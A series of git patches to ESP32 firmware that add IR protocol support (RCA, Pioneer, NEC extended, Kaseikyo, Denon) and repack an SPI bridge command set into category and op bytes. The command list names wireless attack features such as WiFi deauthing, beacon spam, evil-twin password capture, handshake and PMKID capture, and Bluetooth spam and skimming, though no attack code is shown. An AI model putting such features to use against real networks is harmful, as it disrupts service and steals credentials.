+232,10 @@ void ir_print_raw(const rmt_symbol_word_t *symbols, size_t count) { void ir_print_data(const ir_data_t *data) { ESP_LOGI(TAG, - "Protocol: %-10s | Addr: 0x%04X | Cmd: 0x%04X%s", + "Protocol: %-10s | Addr: 0x%08lX | Cmd: 0x%08lX%s", ir_protocol_name(data->protocol), - data->address, - data->command, + (unsigned long)data->address, + (unsigned long)data->command, data->repeat ? " [REPEAT]" : ""); } diff --git a/firmware_p4/components/Service/ir/ir_file.c b/firmware_p4/components/Service/ir/ir_file.c index edc7c9b4b..8d2a793e7 100644 --- a/firmware_p4/components/Service/ir/ir_file.c +++ b/firmware_p4/components/Service/ir/ir_file.c @@ -27,6 +27,8 @@ #include "ir_protocol_rc6.h" #include "ir_protocol_sony.h" #include "ir_protocol_panasonic.h" +#include "ir_protocol_rca.h" +#include "ir_protocol_pioneer.h" static const char *TAG = "IR_FILE"; @@ -91,7 +93,7 @@ flipper_to_ir_data(const char *proto, uint32_t addr, uint32_t cmd, ir_data_t *ou strcmp(proto, "NEC42ext") == 0) { out_data->protocol = IR_PROTO_NEC; out_data->address = addr & NEC_EXT_ADDR_MASK; - out_data->command = cmd & NEC_ADDR_STANDARD_MAX; + out_data->command = cmd & NEC_EXT_CMD_MASK; return true; } if (strcmp(proto, "Samsung32") == 0) { @@ -120,17 +122,30 @@ flipper_to_ir_data(const char *proto, uint32_t addr, uint32_t cmd, ir_data_t *ou } if (strcmp(proto, "Kaseikyo") == 0) { out_data->protocol = IR_PROTO_PANASONIC; - out_data->address = (addr >> KASEIKYO_ADDR_SHIFT) & KASEIKYO_ADDR_MASK; + out_data->address = addr; out_data->command = cmd & 0xFF; return true; } + if (strcmp(proto, "RCA") == 0) { + out_data->protocol = IR_PROTO_RCA; + out_data->address = addr & RCA_ADDR_MASK; + out_data->command = cmd & RCA_CMD_MASK; + return true; + } + if (strcmp(proto, "Pioneer") == 0) { + out_data->protocol = IR_PROTO_PIONEER; + out_data->address = addr & PIONEER_EXT_ADDR_MASK; + out_data->command = cmd & PIONEER_ADDR_STANDARD_MAX; + return true; + } return false; } -static const char *to_flipper_proto(ir_protocol_t proto, uint16_t address, uint16_t command) { +static const char *to_flipper_proto(ir_protocol_t proto, uint32_t address, uint32_t command) { switch (proto) { case IR_PROTO_NEC: - return (address > NEC_ADDR_STANDARD_MAX) ? "NECext" : "NEC"; + return (address > NEC_ADDR_STANDARD_MAX || command > NEC_ADDR_STANDARD_MAX) ? "NECext" + : "NEC"; case IR_PROTO_SAMSUNG: return "Samsung32"; case IR_PROTO_RC6: @@ -139,6 +154,10 @@ static const char *to_flipper_proto(ir_protocol_t proto, uint16_t address, uint1 return (command > RC5_CMD_MASK) ? "RC5X" : "RC5"; case IR_PROTO_PANASONIC: return "Kaseikyo"; + case IR_PROTO_RCA: + return "RCA"; + case IR_PROTO_PIONEER: + return "Pioneer"; case IR_PROTO_SONY: if (address > SONY_SIRC15_ADDR_MAX) return "SIRC20"; From 321cb89552c1831ea6ae490b5e1390baaba5c1b2 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:44:54 -0300 Subject: [PATCH 010/572] feat(ir): per-protocol match tolerance --- .../components/Service/ir/ir_protocol.c | 24 +++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Service/ir/ir_protocol.c b/firmware_p4/components/Service/ir/ir_protocol.c index 460fa10cf..b93d57e4b 100644 --- a/firmware_p4/components/Service/ir/ir_protocol.c +++ b/firmware_p4/components/Service/ir/ir_protocol.c @@ -28,14 +28,20 @@ #include "ir_protocol_jvc.h" #include "ir_protocol_denon.h" #include "ir_protocol_panasonic.h" +#include "ir_protocol_rca.h" +#include "ir_protocol_pioneer.h" static const char *TAG = "IR_PROTOCOL"; -bool ir_match(uint32_t measured, uint32_t expected) { - uint32_t margin = expected * IR_TOLERANCE / 100; +bool ir_match_tol(uint32_t measured, uint32_t expected, uint32_t tol_percent) { + uint32_t margin = expected * tol_percent / 100; return measured >= (expected - margin) && measured <= (expected + margin); } +bool ir_match(uint32_t measured, uint32_t expected) { + return ir_match_tol(measured, expected, IR_TOLERANCE); +} + const char *ir_protocol_name(ir_protocol_t proto) { switch (proto) { case IR_PROTO_NEC: @@ -56,6 +62,10 @@ const char *ir_protocol_name(ir_protocol_t proto) { return "DENON"; case IR_PROTO_PANASONIC: return "PANASONIC"; + case IR_PROTO_RCA: + return "RCA"; + case IR_PROTO_PIONEER: + return "PIONEER"; default: return "UNKNOWN"; } @@ -70,6 +80,8 @@ uint32_t ir_carrier_freq(ir_protocol_t proto) { return IR_CARRIER_HZ_SONY; case IR_PROTO_PANASONIC: return IR_CARRIER_HZ_PANASONIC; + case IR_PROTO_PIONEER: + return IR_CARRIER_HZ_PIONEER; default: return IR_CARRIER_HZ_DEFAULT; } @@ -221,6 +233,8 @@ bool ir_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_da memset(out_data, 0, sizeof(ir_data_t)); + if (ir_protocol_pioneer_decode(symbols, count, out_data)) + return true; if (ir_protocol_nec_decode(symbols, count, out_data)) return true; if (ir_protocol_lg_decode(symbols, count, out_data)) @@ -231,6 +245,8 @@ bool ir_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_da return true; if (ir_protocol_panasonic_decode(symbols, count, out_data)) return true; + if (ir_protocol_rca_decode(symbols, count, out_data)) + return true; if (ir_protocol_rc6_decode(symbols, count, out_data)) return true; if (ir_protocol_sony_decode(symbols, count, out_data)) @@ -268,6 +284,10 @@ size_t ir_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max) return ir_protocol_denon_encode(data, symbols, max); case IR_PROTO_PANASONIC: return ir_protocol_panasonic_encode(data, symbols, max); + case IR_PROTO_RCA: + return ir_protocol_rca_encode(data, symbols, max); + case IR_PROTO_PIONEER: + return ir_protocol_pioneer_encode(data, symbols, max); default: ESP_LOGW(TAG, "Encode called with unknown protocol: %d", (int)data->protocol); return 0; From ea9b648bfe7576e83955d41f115bc31e012a6f9f Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:46:09 -0300 Subject: [PATCH 011/572] feat(ir): decode NEC extended 16-bit command --- .../Service/ir/include/ir_protocol_nec.h | 6 ++++ .../components/Service/ir/ir_protocol_nec.c | 28 +++++++++++-------- 2 files changed, 22 insertions(+), 12 deletions(-) diff --git a/firmware_p4/components/Service/ir/include/ir_protocol_nec.h b/firmware_p4/components/Service/ir/include/ir_protocol_nec.h index 890ab2cd6..3f010aae1 100644 --- a/firmware_p4/components/Service/ir/include/ir_protocol_nec.h +++ b/firmware_p4/components/Service/ir/include/ir_protocol_nec.h @@ -70,6 +70,12 @@ extern "C" { /** @brief Bit mask for the 16-bit extended address field in a NECext frame. */ #define NEC_EXT_ADDR_MASK 0xFFFF +/** @brief Bit position of the high command byte in a 16-bit extended command (ONKYO/Apple). */ +#define NEC_CMD_HI_SHIFT 8 + +/** @brief Bit mask for the 16-bit extended command field. */ +#define NEC_EXT_CMD_MASK 0xFFFF + /** * @brief Decode a NEC IR frame from RMT symbols. * diff --git a/firmware_p4/components/Service/ir/ir_protocol_nec.c b/firmware_p4/components/Service/ir/ir_protocol_nec.c index ccadfdc19..586794957 100644 --- a/firmware_p4/components/Service/ir/ir_protocol_nec.c +++ b/firmware_p4/components/Service/ir/ir_protocol_nec.c @@ -49,14 +49,13 @@ bool ir_protocol_nec_decode(const rmt_symbol_word_t *symbols, size_t count, ir_d uint8_t cmd = (raw >> NEC_CMD_SHIFT) & NEC_ADDR_STANDARD_MAX; uint8_t cmd_inv = (raw >> NEC_CMD_INV_SHIFT) & NEC_ADDR_STANDARD_MAX; - if ((uint8_t)(cmd ^ cmd_inv) != NEC_INTEGRITY_MASK) - return false; - out_data->protocol = IR_PROTO_NEC; - out_data->command = cmd; out_data->repeat = false; out_data->address = ((uint8_t)(addr ^ addr_inv) == NEC_INTEGRITY_MASK) ? addr : (raw & NEC_EXT_ADDR_MASK); + out_data->command = ((uint8_t)(cmd ^ cmd_inv) == NEC_INTEGRITY_MASK) + ? cmd + : (cmd | ((uint32_t)cmd_inv << NEC_CMD_HI_SHIFT)); return true; } @@ -74,19 +73,24 @@ size_t ir_protocol_nec_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, return NEC_REPEAT_SYMBOL_COUNT; } - uint8_t cmd = data->command & NEC_ADDR_STANDARD_MAX; - uint32_t raw; - + uint32_t addr_field; if (data->address <= NEC_ADDR_STANDARD_MAX) { uint8_t addr = data->address & NEC_ADDR_STANDARD_MAX; - raw = addr | ((uint32_t)(~addr & NEC_INTEGRITY_MASK) << NEC_ADDR_INV_SHIFT) | - ((uint32_t)cmd << NEC_CMD_SHIFT) | - ((uint32_t)(~cmd & NEC_INTEGRITY_MASK) << NEC_CMD_INV_SHIFT); + addr_field = addr | ((uint32_t)(~addr & NEC_INTEGRITY_MASK) << NEC_CMD_HI_SHIFT); } else { - raw = data->address | ((uint32_t)cmd << NEC_CMD_SHIFT) | - ((uint32_t)(~cmd & NEC_INTEGRITY_MASK) << NEC_CMD_INV_SHIFT); + addr_field = data->address & NEC_EXT_ADDR_MASK; } + uint32_t cmd_field; + if (data->command <= NEC_ADDR_STANDARD_MAX) { + uint8_t cmd = data->command & NEC_ADDR_STANDARD_MAX; + cmd_field = cmd | ((uint32_t)(~cmd & NEC_INTEGRITY_MASK) << NEC_CMD_HI_SHIFT); + } else { + cmd_field = data->command & NEC_EXT_CMD_MASK; + } + + uint32_t raw = addr_field | (cmd_field << NEC_CMD_SHIFT); + ir_encode_distance_cfg_t cfg = { .header_mark = NEC_HEADER_MARK, .header_space = NEC_HEADER_SPACE, From 500fb6338385bbd4d73e3c6c128f15dbb8e5f311 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:46:21 -0300 Subject: [PATCH 012/572] feat(ir): Kaseikyo multi-vendor support --- .../Service/ir/ir_protocol_panasonic.c | 21 ++++++++++++------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/firmware_p4/components/Service/ir/ir_protocol_panasonic.c b/firmware_p4/components/Service/ir/ir_protocol_panasonic.c index 6338f3120..baaed9d9f 100644 --- a/firmware_p4/components/Service/ir/ir_protocol_panasonic.c +++ b/firmware_p4/components/Service/ir/ir_protocol_panasonic.c @@ -41,8 +41,6 @@ bool ir_protocol_panasonic_decode(const rmt_symbol_word_t *symbols, uint64_t raw = ir_decode_pulse_distance(symbols, 1, PANASONIC_FRAME_BITS, &cfg); uint16_t vendor = raw & PANASONIC_VENDOR_MASK; - if (vendor != PANASONIC_VENDOR_ID) - return false; uint8_t byte0 = (raw >> PANASONIC_BYTE0_SHIFT) & 0xFF; uint8_t byte1 = (raw >> PANASONIC_BYTE1_SHIFT) & 0xFF; @@ -52,9 +50,12 @@ bool ir_protocol_panasonic_decode(const rmt_symbol_word_t *symbols, if (byte3 != (uint8_t)(byte0 ^ byte1 ^ byte2)) return false; + uint16_t device = (((byte0 >> PANASONIC_NIBBLE_SHIFT) & PANASONIC_NIBBLE_MASK) | + ((uint16_t)byte1 << PANASONIC_NIBBLE_SHIFT)) & + KASEIKYO_ADDR_MASK; + out_data->protocol = IR_PROTO_PANASONIC; - out_data->address = ((byte0 >> PANASONIC_NIBBLE_SHIFT) & PANASONIC_NIBBLE_MASK) | - ((uint16_t)byte1 << PANASONIC_NIBBLE_SHIFT); + out_data->address = ((uint32_t)device << KASEIKYO_ADDR_SHIFT) | vendor; out_data->command = byte2; out_data->repeat = false; return true; @@ -64,13 +65,17 @@ size_t ir_protocol_panasonic_encode(const ir_data_t *data, rmt_symbol_word_t *sy if (data == NULL || symbols == NULL || max == 0) return 0; - uint16_t vendor = PANASONIC_VENDOR_ID; + uint16_t vendor = data->address & PANASONIC_VENDOR_MASK; + if (vendor == 0) + vendor = PANASONIC_VENDOR_ID; + uint16_t device = (data->address >> KASEIKYO_ADDR_SHIFT) & KASEIKYO_ADDR_MASK; + uint8_t vp = vendor ^ (vendor >> PANASONIC_BYTE_SHIFT); vp = (vp ^ (vp >> PANASONIC_NIBBLE_SHIFT)) & PANASONIC_NIBBLE_MASK; - uint8_t byte0 = (vp & PANASONIC_NIBBLE_MASK) | - ((data->address & PANASONIC_NIBBLE_MASK) << PANASONIC_NIBBLE_SHIFT); - uint8_t byte1 = (data->address >> PANASONIC_NIBBLE_SHIFT) & 0xFF; + uint8_t byte0 = + (vp & PANASONIC_NIBBLE_MASK) | ((device & PANASONIC_NIBBLE_MASK) << PANASONIC_NIBBLE_SHIFT); + uint8_t byte1 = (device >> PANASONIC_NIBBLE_SHIFT) & 0xFF; uint8_t byte2 = data->command & 0xFF; uint8_t byte3 = byte0 ^ byte1 ^ byte2; From 4749be6a41ac022d32cc8fd38ebd860f2f1262c2 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:46:34 -0300 Subject: [PATCH 013/572] fix(ir): transmit Denon as a complementary frame pair --- .../Service/ir/include/ir_protocol_denon.h | 15 ++++++++ .../components/Service/ir/ir_protocol_denon.c | 35 ++++++++++++++++--- 2 files changed, 46 insertions(+), 4 deletions(-) diff --git a/firmware_p4/components/Service/ir/include/ir_protocol_denon.h b/firmware_p4/components/Service/ir/include/ir_protocol_denon.h index 93d94ff3a..8719b2b02 100644 --- a/firmware_p4/components/Service/ir/include/ir_protocol_denon.h +++ b/firmware_p4/components/Service/ir/include/ir_protocol_denon.h @@ -49,6 +49,21 @@ extern "C" { /** @brief Bit position of the command field in the Denon frame word. */ #define DENON_CMD_SHIFT 5 +/** @brief Bit position of the 2-bit frame-type field in the Denon frame word. */ +#define DENON_FRAME_SHIFT 13 + +/** @brief Bit mask for the 2-bit frame-type field. */ +#define DENON_FRAME_MASK 0x3 + +/** @brief Frame-type value of the complementary auto-repeat frame (inverted). */ +#define DENON_FRAME_INVERTED 0x3 + +/** @brief XOR mask that inverts the command and frame-type bits for the second frame. */ +#define DENON_INVERT_MASK 0x7FE0 + +/** @brief Silence between the normal frame and its complementary repeat, in microseconds. */ +#define DENON_REPEAT_GAP_US 45000 + /** * @brief Decode a Denon IR frame from RMT symbols. * diff --git a/firmware_p4/components/Service/ir/ir_protocol_denon.c b/firmware_p4/components/Service/ir/ir_protocol_denon.c index d75111449..99ea5574e 100644 --- a/firmware_p4/components/Service/ir/ir_protocol_denon.c +++ b/firmware_p4/components/Service/ir/ir_protocol_denon.c @@ -44,10 +44,18 @@ bool ir_protocol_denon_decode(const rmt_symbol_word_t *symbols, size_t count, ir }; uint32_t raw = (uint32_t)ir_decode_pulse_distance(symbols, 0, DENON_FRAME_BITS, &cfg); + uint8_t frame = (raw >> DENON_FRAME_SHIFT) & DENON_FRAME_MASK; + uint8_t cmd = (raw >> DENON_CMD_SHIFT) & 0xFF; + out_data->protocol = IR_PROTO_DENON; out_data->address = raw & DENON_ADDR_MASK; - out_data->command = (raw >> DENON_CMD_SHIFT) & 0xFF; - out_data->repeat = false; + if (frame == DENON_FRAME_INVERTED) { + out_data->command = (uint8_t)~cmd; + out_data->repeat = true; + } else { + out_data->command = cmd; + out_data->repeat = false; + } return true; } @@ -55,8 +63,9 @@ size_t ir_protocol_denon_encode(const ir_data_t *data, rmt_symbol_word_t *symbol if (data == NULL || symbols == NULL || max == 0) return 0; - uint16_t raw = + uint16_t frame1 = (data->address & DENON_ADDR_MASK) | ((uint16_t)(data->command & 0xFF) << DENON_CMD_SHIFT); + uint16_t frame2 = frame1 ^ DENON_INVERT_MASK; ir_encode_distance_cfg_t cfg = { .header_mark = 0, @@ -68,5 +77,23 @@ size_t ir_protocol_denon_encode(const ir_data_t *data, rmt_symbol_word_t *symbol .msb_first = false, .stop_bit = true, }; - return ir_encode_pulse_distance(symbols, raw, DENON_FRAME_BITS, &cfg); + + size_t n1 = ir_encode_pulse_distance(symbols, frame1, DENON_FRAME_BITS, &cfg); + if (n1 == 0) + return 0; + + if (n1 + 1 > max) + return 0; + symbols[n1].duration0 = DENON_REPEAT_GAP_US / 2; + symbols[n1].level0 = 0; + symbols[n1].duration1 = DENON_REPEAT_GAP_US / 2; + symbols[n1].level1 = 0; + size_t idx = n1 + 1; + + cfg.max = max - idx; + size_t n2 = ir_encode_pulse_distance(symbols + idx, frame2, DENON_FRAME_BITS, &cfg); + if (n2 == 0) + return 0; + + return idx + n2; } \ No newline at end of file From 09d0abccdaa14182f7a6d44130bc5478a7a7c35e Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:46:56 -0300 Subject: [PATCH 014/572] build(ir): register new IR protocols --- firmware_p4/components/Service/CMakeLists.txt | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index 2ccfa3cfd..994d6285b 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -35,6 +35,9 @@ idf_component_register(SRCS "ir/ir.c" "ir/ir_file.c" + "ir/ir_ac.c" + "ir/ir_ac_coolix.c" + "ir/ir_ac_gree.c" "ir/ir_protocol.c" "ir/ir_protocol_nec.c" "ir/ir_protocol_samsung.c" @@ -42,6 +45,8 @@ idf_component_register(SRCS "ir/ir_protocol_jvc.c" "ir/ir_protocol_denon.c" "ir/ir_protocol_panasonic.c" + "ir/ir_protocol_rca.c" + "ir/ir_protocol_pioneer.c" "ir/ir_protocol_rc6.c" "ir/ir_protocol_rc5.c" "ir/ir_protocol_sony.c" From 611d40994a089f4b0aced423f5b6da14175ba080 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:48:39 -0300 Subject: [PATCH 015/572] fix(ui): format 32bit address & command in receive screen --- .../Applications/ui/screens/infrared/ir_receive_ui.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c index dbf02e31d..dcecd5acc 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c @@ -248,10 +248,10 @@ static void show_result(void) { char buf[IR_DETAIL_BUF_LEN]; snprintf(buf, sizeof(buf), - "Protocol: %s\nAddress: 0x%04X\nCommand: 0x%04X", + "Protocol: %s\nAddress: 0x%08lX\nCommand: 0x%08lX", ir_protocol_name(s_rx_result.protocol), - s_rx_result.address, - s_rx_result.command); + (unsigned long)s_rx_result.address, + (unsigned long)s_rx_result.command); lv_label_set_text(s_detail_label, buf); msgbox_open(LV_SYMBOL_OK, "Save signal?", "Yes", "No", on_ask_save); From 3103706c087bd4c524aab040e7a262acee8f2746 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 18:59:58 -0300 Subject: [PATCH 016/572] feat(spi): split command id into category + op bytes The bridge command identifier becomes hierarchical: the frame header now carries separate `category` (subsystem) and `op` bytes instead of a single `id` byte, expanding the command space to 256 categories x 256 ops and letting the C5 route by `switch(header->category)` instead of address-range checks. The C-level identifier stays a single named value (`SPI_ID_*`), now packed 16-bit via `SPI_CMD(cat, op)`, so the 142 P4 call sites and the 78 C5 dispatcher cases are unchanged. Op values keep their previous byte values to guarantee both manually-synced spi_protocol.h copies agree on every shared command. - spi_protocol.h (P4+C5): add spi_cat_t, SPI_CMD/CAT/OP macros, repack spi_id_t, header id->category+op (4->5 bytes), spi_header_cmd/set_cmd helpers, spi_session_lost_t op_id->cmd (16-bit) - P4 spi_bridge.c/spi_session.c: build/read header via helpers, stream demux - C5 spi_bridge.c: drop range defines, route via switch(category) - C5 session_manager.c: emit session-lost cmd as 16-bit - bump FIRMWARE_VERSION and SPI_FW_VERSION_STRING to 1.3.0 to force C5 re-sync - README: document 5-byte header and category/op --- .../components/Service/spi_bridge/README.md | 19 +- .../Service/spi_bridge/include/spi_protocol.h | 314 +++++++++-------- .../Service/spi_bridge/session_manager.c | 6 +- .../Service/spi_bridge/spi_bridge.c | 235 +++++++------ .../Service/ota/include/ota_version.h | 2 +- .../components/Service/spi_bridge/README.md | 12 +- .../Service/spi_bridge/include/spi_protocol.h | 328 ++++++++++-------- .../Service/spi_bridge/spi_bridge.c | 25 +- .../Service/spi_bridge/spi_session.c | 8 +- 9 files changed, 526 insertions(+), 423 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/README.md b/firmware_c5/components/Service/spi_bridge/README.md index 96ac7f84b..23e72602a 100644 --- a/firmware_c5/components/Service/spi_bridge/README.md +++ b/firmware_c5/components/Service/spi_bridge/README.md @@ -6,7 +6,7 @@ This component transforms the **ESP32-C5** into a high-performance radio co-proc The C5 runs a background task (`spi_bridge_task`) that stays in a blocked state waiting for the P4 to send SPI bytes. 1. **Reception**: When bytes arrive, the task validates the `0xAA` sync byte. -2. **Routing**: It checks the `ID` and routes the payload to the appropriate **Dispatcher** (WiFi or Bluetooth). +2. **Routing**: It switches on the `Category` byte and routes the payload to the appropriate **Dispatcher** (WiFi or Bluetooth); the `Op` byte selects the operation within that dispatcher. 3. **Execution**: The Dispatcher executes the radio command (e.g., starts a scan). 4. **Notification**: Once the command is done (or results are ready), the C5 raises the **IRQ (Handshake)** pin. 5. **Response**: The P4 sees the IRQ, sends a dummy SPI clock, and the C5 "pushes" the response packet back. @@ -26,12 +26,17 @@ The bridge then serves these items one by one when the P4 asks for them via the - `session_manager.c`: Session lifecycle for long-running operations (heartbeat watchdog + backpressure). See "Session Lifecycle" below. -## Command Range -- `0x01 - 0x0F`: System/Bridge management. -- `0x10 - 0x4F`: WiFi operations. -- `0x50 - 0x7F`: Bluetooth operations. -- `0x80 - 0x8F`: LoRa operations. -- `0xF0 - 0xFF`: Session lifecycle (heartbeat, lost, stop). +## Command Categories +The `Category` header byte (`spi_cat_t`) selects the subsystem; the `Op` byte +selects the operation within it. Together they pack into `spi_id_t` via +`SPI_CMD(cat, op)`. +- `0x00`: System/Bridge management (ping, status, version, data, stream). +- `0x01`: WiFi operations. +- `0x02`: Bluetooth operations. +- `0x03`: LoRa operations. +- `0x04`: Meshtastic phone bridge. +- `0x05`: MeshCore phone bridge. +- `0xFF`: Session lifecycle (heartbeat, lost, stop). ## Session Lifecycle (Long-Running Operations) diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index 1724fee8f..d104f967c 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -40,145 +40,171 @@ extern "C" { */ typedef enum { SPI_TYPE_CMD = 0x01, SPI_TYPE_RESP = 0x02, SPI_TYPE_STREAM = 0x03 } spi_type_t; +/** + * @brief SPI command categories (subsystems). + * + * Carried as the `category` byte of the frame header. The C5 routes a command + * to a dispatcher by this byte alone; the `op` byte selects the operation + * within the category. + */ +typedef enum { + SPI_CAT_SYSTEM = 0x00, + SPI_CAT_WIFI = 0x01, + SPI_CAT_BT = 0x02, + SPI_CAT_LORA = 0x03, + SPI_CAT_MESH = 0x04, // Meshtastic phone bridge + SPI_CAT_MCORE = 0x05, // MeshCore phone bridge + SPI_CAT_SESSION = 0xFF +} spi_cat_t; + +/** Pack a (category, op) pair into a 16-bit command identifier. */ +#define SPI_CMD(cat, op) ((uint16_t)(((uint8_t)(cat) << 8) | (uint8_t)(op))) +/** Extract the category byte from a packed command identifier. */ +#define SPI_CMD_CAT(cmd) ((uint8_t)((cmd) >> 8)) +/** Extract the op byte from a packed command identifier. */ +#define SPI_CMD_OP(cmd) ((uint8_t)((cmd) & 0xFF)) + /** * @brief SPI function/command identifiers. + * + * Each value packs its category (high byte) and op (low byte) via SPI_CMD(). */ typedef enum { - // System (0x01 - 0x0F) - SPI_ID_SYSTEM_PING = 0x01, - SPI_ID_SYSTEM_STATUS = 0x02, - SPI_ID_SYSTEM_REBOOT = 0x03, - SPI_ID_SYSTEM_VERSION = 0x04, - SPI_ID_SYSTEM_DATA = 0x05, - SPI_ID_SYSTEM_STREAM = 0x06, - - // WiFi Basic (0x10 - 0x1F) - SPI_ID_WIFI_SCAN = 0x10, - SPI_ID_WIFI_CONNECT = 0x11, - SPI_ID_WIFI_DISCONNECT = 0x12, - SPI_ID_WIFI_GET_STA_INFO = 0x13, - SPI_ID_WIFI_SET_AP = 0x14, - SPI_ID_WIFI_START = 0x15, - SPI_ID_WIFI_STOP = 0x16, - SPI_ID_WIFI_SAVE_AP_CONFIG = 0x17, - SPI_ID_WIFI_SET_ENABLED = 0x18, - SPI_ID_WIFI_SET_AP_PASSWORD = 0x19, - SPI_ID_WIFI_SET_AP_MAX_CONN = 0x1A, - SPI_ID_WIFI_SET_AP_IP = 0x1B, - SPI_ID_WIFI_PROMISC_START = 0x1C, - SPI_ID_WIFI_PROMISC_STOP = 0x1D, - SPI_ID_WIFI_CH_HOP_START = 0x1E, - SPI_ID_WIFI_CH_HOP_STOP = 0x1F, - - // WiFi Applications & Attacks (0x20 - 0x4F) - SPI_ID_WIFI_APP_SCAN_AP = 0x20, - SPI_ID_WIFI_APP_SCAN_CLIENT = 0x21, - SPI_ID_WIFI_APP_BEACON_SPAM = 0x22, - SPI_ID_WIFI_APP_DEAUTHER = 0x23, - SPI_ID_WIFI_APP_FLOOD = 0x24, - SPI_ID_WIFI_APP_SNIFFER = 0x25, - SPI_ID_WIFI_APP_EVIL_TWIN = 0x26, - SPI_ID_WIFI_APP_DEAUTH_DET = 0x27, - SPI_ID_WIFI_APP_PROBE_MON = 0x28, - SPI_ID_WIFI_APP_SIGNAL_MON = 0x29, - SPI_ID_WIFI_SNIFFER_SET_SNAPLEN = 0x2B, - SPI_ID_WIFI_SNIFFER_SET_VERBOSE = 0x2C, - SPI_ID_WIFI_SNIFFER_SAVE_FLASH = 0x2D, - SPI_ID_WIFI_SNIFFER_SAVE_SD = 0x2E, - SPI_ID_WIFI_SNIFFER_FREE_BUFFER = 0x2F, - SPI_ID_WIFI_SNIFFER_STREAM_SD = 0x30, - SPI_ID_WIFI_SNIFFER_CLEAR_PMKID = 0x31, - SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID = 0x32, - SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE = 0x33, - SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID = 0x34, - SPI_ID_WIFI_DEAUTH_STATUS = 0x35, - SPI_ID_WIFI_DEAUTH_SEND_RAW = 0x36, - SPI_ID_WIFI_ASSOC_REQUEST = 0x37, - SPI_ID_WIFI_DEAUTH_SEND_FRAME = 0x38, - SPI_ID_WIFI_DEAUTH_SEND_BROADCAST = 0x39, - SPI_ID_WIFI_TARGET_SCAN_START = 0x3A, - SPI_ID_WIFI_TARGET_SCAN_STATUS = 0x3B, - SPI_ID_WIFI_TARGET_SAVE_FLASH = 0x3C, - SPI_ID_WIFI_TARGET_SAVE_SD = 0x3D, - SPI_ID_WIFI_TARGET_FREE = 0x3E, - SPI_ID_WIFI_PROBE_SAVE_FLASH = 0x3F, - SPI_ID_WIFI_PROBE_SAVE_SD = 0x40, - SPI_ID_WIFI_EVIL_TWIN_TEMPLATE = 0x41, - SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD = 0x42, - SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD = 0x43, - SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE = 0x44, - SPI_ID_WIFI_CLIENT_SAVE_FLASH = 0x45, - SPI_ID_WIFI_CLIENT_SAVE_SD = 0x46, - SPI_ID_WIFI_AP_SAVE_FLASH = 0x47, - SPI_ID_WIFI_AP_SAVE_SD = 0x48, - SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN = 0xA0, - SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK = 0xA1, - - // Bluetooth Basic (0x50 - 0x5F) - SPI_ID_BT_SCAN = 0x50, - SPI_ID_BT_CONNECT = 0x51, - SPI_ID_BT_DISCONNECT = 0x52, - SPI_ID_BT_GET_INFO = 0x53, - SPI_ID_BT_INIT = 0x54, - SPI_ID_BT_DEINIT = 0x55, - SPI_ID_BT_START = 0x56, - SPI_ID_BT_STOP = 0x57, - SPI_ID_BT_SET_RANDOM_MAC = 0x58, - SPI_ID_BT_START_ADV = 0x59, - SPI_ID_BT_STOP_ADV = 0x5A, - SPI_ID_BT_SET_MAX_POWER = 0x5B, - SPI_ID_BT_TRACKER_START = 0x5C, - SPI_ID_BT_TRACKER_STOP = 0x5D, - SPI_ID_BT_GET_ADDR_TYPE = 0x5E, - SPI_ID_BT_SAVE_ANNOUNCE_CFG = 0x5F, - - // Bluetooth Apps & Attacks (0x60 - 0x7F) - SPI_ID_BT_APP_SCANNER = 0x60, - SPI_ID_BT_APP_SNIFFER = 0x61, - SPI_ID_BT_APP_SPAM = 0x62, - SPI_ID_BT_APP_FLOOD = 0x63, - SPI_ID_BT_APP_SKIMMER = 0x64, - SPI_ID_BT_APP_TRACKER = 0x65, - SPI_ID_BT_APP_GATT_EXP = 0x66, - SPI_ID_BT_SPAM_LIST_LOAD = 0x68, - SPI_ID_BT_SPAM_LIST_BEGIN = 0x69, - SPI_ID_BT_SPAM_LIST_ITEM = 0x6A, - SPI_ID_BT_SPAM_LIST_COMMIT = 0x6B, - 